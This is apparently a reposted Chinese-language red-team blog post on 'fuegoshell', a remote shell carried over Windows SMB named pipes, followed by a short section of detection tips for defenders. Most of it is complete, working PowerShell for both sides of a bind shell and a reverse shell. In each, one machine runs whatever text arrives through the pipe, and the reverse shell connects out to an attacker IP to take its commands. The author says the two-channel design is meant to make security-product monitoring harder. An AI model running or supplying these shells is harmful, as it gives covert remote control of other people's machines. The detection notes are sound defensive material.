创建一个“fuegoshell”绑定 shell
我们在“受害者”上启动一个侦听器并从“攻击者”连接到它:
-
打开一个监听传入连接的命名管道
-
通过命名管道创建读/写操作流
-
等待命令,执行它,然后将结果发送给攻击者
在 Powershell 命令提示符中只需运行:
$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream('fuegoshell', [System.IO.Pipes.PipeDirection]::InOut)
try {
'Fuegoshell-server started'
'Waiting for client connection'
$npipeServer.WaitForConnection()
'Connection established'
$pipeReader = new-object System.IO.StreamReader($npipeServer)
$script:pipeWriter = new-object System.IO.StreamWriter($npipeServer)
$pipeWriter.AutoFlush = $true
#$clientName = $env:computername
#WriteToPipeAndLog "Connected to $clientName !"
# say hello
$pipeWriter.WriteLine("Connected on "+$env:computername)
while (1)
{
$pipeWriter.WriteLine('YOURMOVE')
$command = $pipeReader.ReadLine()
if ($command -eq 'exit') { break }
try {
# Some code that may cause an error
$data = iex $command | Out-String ;
}
catch {
### Logging the error
# local log :
# Write-host -f red "Encountered Error:"$_.Exception.Message
# remote log :
# $data = $Error[0] | Out-String ;
### no error display
$data = "error : maybe empty or wrong command line"
}
$msg = $data
$pipeWriter.WriteLine($msg)
}
Start-Sleep -Seconds 2
}
finally {
'Shell exiting'
$npipeServer.Dispose()
}
在攻击者方面:连接到受害者
我们将 :
-
打开到受害者的命名管道传出连接
-
通过命名管道创建读/写操作流
-
发送命令执行,检索结果并显示
在 Powershell 命令提示符中只需运行:
param ($ComputerName = '192.168.49.1')
$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream($ComputerName, 'fuegoshell', [System.IO.Pipes.PipeDirection]::InOut,
[System.IO.Pipes.PipeOptions]::None,
[System.Security.Principal.TokenImpersonationLevel]::Impersonation)
$pipeReader = $pipeWriter = $null
try {
'Fuegoshell-client started'
'Connecting to shell...'
$npipeClient.Connect()
$pipeReader = new-object System.IO.StreamReader($npipeClient)
$pipeWriter = new-object System.IO.StreamWriter($npipeClient)
$pipeWriter.AutoFlush = $true
# wait hello from the other side
$pipeReader.ReadLine()
while (1) {
while (($msg = $pipeReader.ReadLine()) -notmatch 'YOURMOVE') {
$msg
}
$command = Read-Host 'fuegobindshell>'
if ($command -eq 'exit') {
$pipeWriter.WriteLine($command) # send command
break
}
$pipeWriter.WriteLine($command) # send command
$currentDate = Get-Date -Format "yyyyMMdd_HHmmss" ;
$cmdlogmsg = "[cmdlog> "
$data = $pipeReader.ReadLine() # get the result
# display result
$msg = $currentDate+$cmdlogmsg+$data
$msg
}
}
finally {
'Shell exiting'
$npipeClient.Dispose()
}
注意:当然,您当前的凭据必须在受害计算机上有效
下面是在“绑定”模式下运行的示例。从 Github检索fuegoshell 项目,转到 fuegoshell 目录并运行:
powershell -exec bypass .generate_bind_fuegoshell.ps1
-
红色框内:用于生成 oneliners 的命令
-
橙色框内:直线跑到受害者身上
-
绿色框内:单线跑到攻击者身上
-
以黄色突出显示:fuegoshell 正在运行
注意:攻击者位于该图片的左侧,受害者位于该图片的右侧
创建“fuegoshell”反向 shell
它是如何运作的?我只是想复杂化安全产品可以完成的命名管道内容的监控。我们将创建两个频道:
-
CONTROL-CHANNEL :用于发送命令
-
数据通道:用于结果显示目的
在攻击者方面:创建两个通信通道
我们将 :
-
打开命名管道侦听来自受害者的传入连接
-
发送命令执行并显示受害者发送的结果
因为我们创建了两个通道,所以我们将避免分离控制台的混乱。
在 powershell 控制台 1 中运行:
$host.ui.RawUI.WindowTitle = "DATA-CHANNEL";
$pipedata = new-object System.IO.Pipes.NamedPipeServerStream 'fuego-data','In';
$pipedata.WaitForConnection();
$sr= new-object System.IO.StreamReader $pipedata;
while (($data = $sr.ReadLine()) -ne $null) {
echo $data.ToString()
};
$sr.Dispose();
$pipedata.Dispose();
在 powershell 控制台 2 中运行:
$host.ui.RawUI.WindowTitle = "CONTROL-CHANNEL";
$pipecontrol = new-object System.IO.Pipes.NamedPipeServerStream 'fuego-control','Out';
$pipecontrol.WaitForConnection();
$sw = new-object System.IO.StreamWriter $pipecontrol;
$sw.AutoFlush = $true;
$myprompt = 'fuegoShell>';
do {
$mycmd = Read-Host -Prompt $myprompt;
$sw.WriteLine($mycmd)
} until ($mycmd -eq 'exit');
$sw.Dispose();
$pipecontrol.Dispose();
在受害者方面:连接到攻击者
-
打开命名管道,连接到“数据通道”,监听攻击者的机器
-
打开第二个命名管道,连接到“控制通道”,同时也在攻击者的机器上监听
-
检索要执行的命令(从控制管道),执行命令,发回结果(使用数据管道)
-
完成后关闭通道
在 Powershell 命令提示符中:
# open control and data channels
$pipedata = new-object System.IO.Pipes.NamedPipeClientStream '192.168.49.116','fuego-data','Out';
$pipedata.Connect();
$sw = new-object System.IO.StreamWriter $pipedata;
$sw.AutoFlush = $true;
$currentHost = iex 'hostname' | Out-String;
$sw.WriteLine("-------------------------");
$sw.WriteLine("[+] New incoming shell from : ");
$sw.WriteLine($currentHost);$sw.WriteLine("---");
$pipeListener = new-object System.IO.Pipes.NamedPipeClientStream '192.168.49.116','fuego-control','In';
$pipeListener.Connect();
$sr= new-object System.IO.StreamReader $pipeListener;$mylogmsg = '[cmdlog]> ';
# wait for commands from the C2, execute and send the result
while (($data = $sr.ReadLine()) -ne 'exit') {
$currentDate = Get-Date -Format "yyyyMMdd_HHmmss" ;
$res = iex $data | Out-String ;
$sw.WriteLine($currentDate+$mylogmsg+$data);
$sw.WriteLine($res)
};
# close named pipes
$sw.Dispose();
$pipeListener.Dispose();
$sr.Dispose();
$pipedata.Dispose();
注意:当然,您当前的凭据必须在攻击者计算机上有效
下面是在“反向”模式下运行的示例。从 Github检索fuegoshell 项目,转到 fuegoshell 目录并运行:
powershell -exec bypass .generate_reverse_fuegoshell.ps1
-
红色框内:用于生成 oneliners 的命令
-
橙色框内:直线跑到受害者身上
-
绿色框内:单线跑到攻击者身上
-
以黄色突出显示:fuegoshell 正在运行
注意:攻击者位于该图片的左侧,受害者位于该图片的右侧
检测
这不是我当前的工作,但我会尝试为蓝队成员提供一些检测机会(以及红队成员的改进领域)。
基于网络的检测
Fuegoshell
流量未加密,以下是一些关键点:
-
TCP协议,端口445
-
中小企业协议
-
SMB 命令:ioctl (11)
-
SMB 树 ID:包含 IPC$
-
SMB Ioctl 请求 (0x0b):FSCTL_PIPE_WAIT (0x00110018)
-
名称:由 maldev 作者设置的值,因此它可能不是检测的最佳选择。
基于主机的检测
Fuegoshell
可以在绑定 shell 或反向 shell 模式下运行。两者的工件并不相同,但我认为常见的检测领域之一是 AMSI 的使用,在使用这些功能之一时触发警报(实际上它们不太可能经常使用):
-
System.IO.Pipes.NamedPipeClientStream
-
System.IO.Pipes.NamedPipeServerStream
绑定shell检测
当使用“bind shell”模式时,会在受害者上创建一个命名管道:
使用Sysmon事件17可用于检测:该管道是由Image powershell.exe创建的。PipeName 值由 maldev 作者设置,因此它可能不是检测的最佳选择。
Pipe Created:
RuleName: -
EventType: CreatePipe
UtcTime: 2024-04-26 14:46:33.997
ProcessGuid: {ccf50e9a-be49-662b-7f05-00000000dc00}
ProcessId: 6684
PipeName: PSHost.133586163937360232.6684.DefaultAppDomain.powershell
Image: C:windowsSystem32WindowsPowerShellv1.0powershell.exe
User: WIN10X64VIKTESTviking
Pipe Created:
RuleName: -
EventType: CreatePipe
UtcTime: 2024-04-26 14:46:53.356
ProcessGuid: {ccf50e9a-b68f-662b-3705-00000000dc00}
ProcessId: 1296
PipeName: fuegoshell
Image: C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
User: WIN10X64VIKTESTviking
Powershell可以列出所有管道,也许它可以帮助狩猎操作:
[System.IO.Directory]::GetFiles("\.\pipe\")
反向壳检测
当使用“反向 shell”模式时,不会在受害者上创建命名管道,但会在 DeviceMuP 中创建一个新的管道条目:
sysinternals handle.exe 可以列出一些条目(但有些条目可能不会列出,如下所示!),也许它可以帮助进行狩猎操作:
Procmon 提供了更详细的信息:当System.IO.Pipes.NamedPipeClientStream 打开与攻击者计算机的 netwotk 连接时,使用 ZwCreateFile。
原文始发于微信公众号(TtTeam):使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell